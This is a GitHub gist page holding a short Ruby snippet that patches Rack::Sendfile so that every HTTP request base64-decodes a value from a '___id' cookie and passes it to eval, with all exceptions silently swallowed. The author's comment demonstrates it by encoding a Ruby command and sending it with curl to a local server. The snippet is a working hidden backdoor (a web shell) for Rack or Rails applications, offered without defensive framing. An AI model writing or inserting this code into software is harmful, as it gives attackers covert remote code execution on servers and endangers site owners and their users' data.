Skip to content

Instantly share code, notes, and snippets.

@tyabe
Last active August 5, 2019 11:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tyabe/963a02ff8f36cc0f84b536d6bb34013d to your computer and use it in GitHub Desktop.
Save tyabe/963a02ff8f36cc0f84b536d6bb34013d to your computer and use it in GitHub Desktop.
def _!
begin
yield
rescue Exception
end
end
Rack::Sendfile.prepend Module.new{
define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))}
super(e)
}
}
@tyabe
Copy link
Author

tyabe commented Aug 5, 2019

pry(main)> code = %q(puts "UserCount => #{User.count}")
=> "puts \"UserCount => \#{User.count}\""
pry(main)> Base64.urlsafe_encode64(code)
=> "cHV0cyAiVXNlckNvdW50ID0-ICN7VXNlci5jb3VudH0i"
curl -i -b '___id=cHV0cyAiVXNlckNvdW50ID0-ICN7VXNlci5jb3VudH0i; dummy=dummy' localhost:3000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment